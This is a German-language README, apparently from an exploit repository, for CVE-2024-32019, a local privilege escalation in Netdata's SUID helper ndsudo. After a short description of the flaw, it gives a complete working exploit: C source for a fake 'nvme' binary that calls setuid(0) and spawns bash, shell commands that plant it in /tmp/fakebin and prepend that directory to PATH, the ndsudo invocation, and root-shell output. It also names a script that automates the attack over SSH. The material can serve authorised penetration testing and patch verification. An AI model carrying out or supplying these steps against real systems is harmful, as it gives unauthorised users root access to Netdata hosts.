
CVE-2024-32019 ist eine lokale Privilegienausweitungsschwachstelle mit hohem Schweregrad in Netdata (Versionen >= 1.44.0-60 < 1.45.3), verursacht durch unsichere Verwendung der PATH-Variable in der SUID-Binärdatei ndsudo, die es Angreifern ermöglicht, beliebige Befehle als root auszuführen.
ndsudo PATH-Schwachstellen-Exploit (LPE zu Root)Ein Python-basierter Exploit für CVE-2024-32019, eine Local Privilege Escalation-Schwachstelle mit hohem Schweregrad im Netdata Agent, die eine falsch konfigurierte SUID-Binärdatei (ndsudo) ausnutzt, die die Umgebungsvariable PATH nicht sicher behandelt.
[!Caution] Dieser Code dient ausschließlich zu Bildungs- und autorisierten Testzwecken. Die unbefugte Nutzung dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal.
CVE ID: CVE-2024-32019
CVSS-Score: 8.8 (Hoch)
Veröffentlicht: 12. April 2024
Komponente: Netdata Agent
Betroffene Versionen:
>= v1.45.0, < v1.45.3>= v1.44.0-60, < v1.45.0-169Das ndsudo-Tool von Netdata ist eine SUID-Root-Binärdatei, die dazu bestimmt ist, eine begrenzte Reihe von Systembefehlen (wie nvme) im Auftrag von Nicht-Root-Benutzern sicher auszuführen.
Aufgrund eines Implementierungsfehlers respektiert es jedoch die vom Benutzer kontrollierte PATH-Variable beim Auflösen von Befehlsbinärdateien. Wenn ein Angreifer den PATH manipulieren kann, um ein beschreibbares Verzeichnis mit einer schädlichen Binärdatei einzuschließen, führt ndsudo diese mit Root-Rechten aus – was zu einer lokalen Privilegieneskalation führt.
Die folgenden Schritte zeigen, wie die Schwachstelle in ndsudo manuell ausgenutzt werden kann.
Speichern Sie den folgenden C-Code als nvme.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c -o nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATHexport PATH=/tmp/fakebin:$PATH
which nvme
# Output: /tmp/fakebin/nvme
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
Bei Erfolg erhalten Sie eine Root-Shell.
# whoami
root
Wenn Sie SSH-Zugriff haben, können Sie CVE-2024-32019-dbs.py verwenden, um dies zu automatisieren.
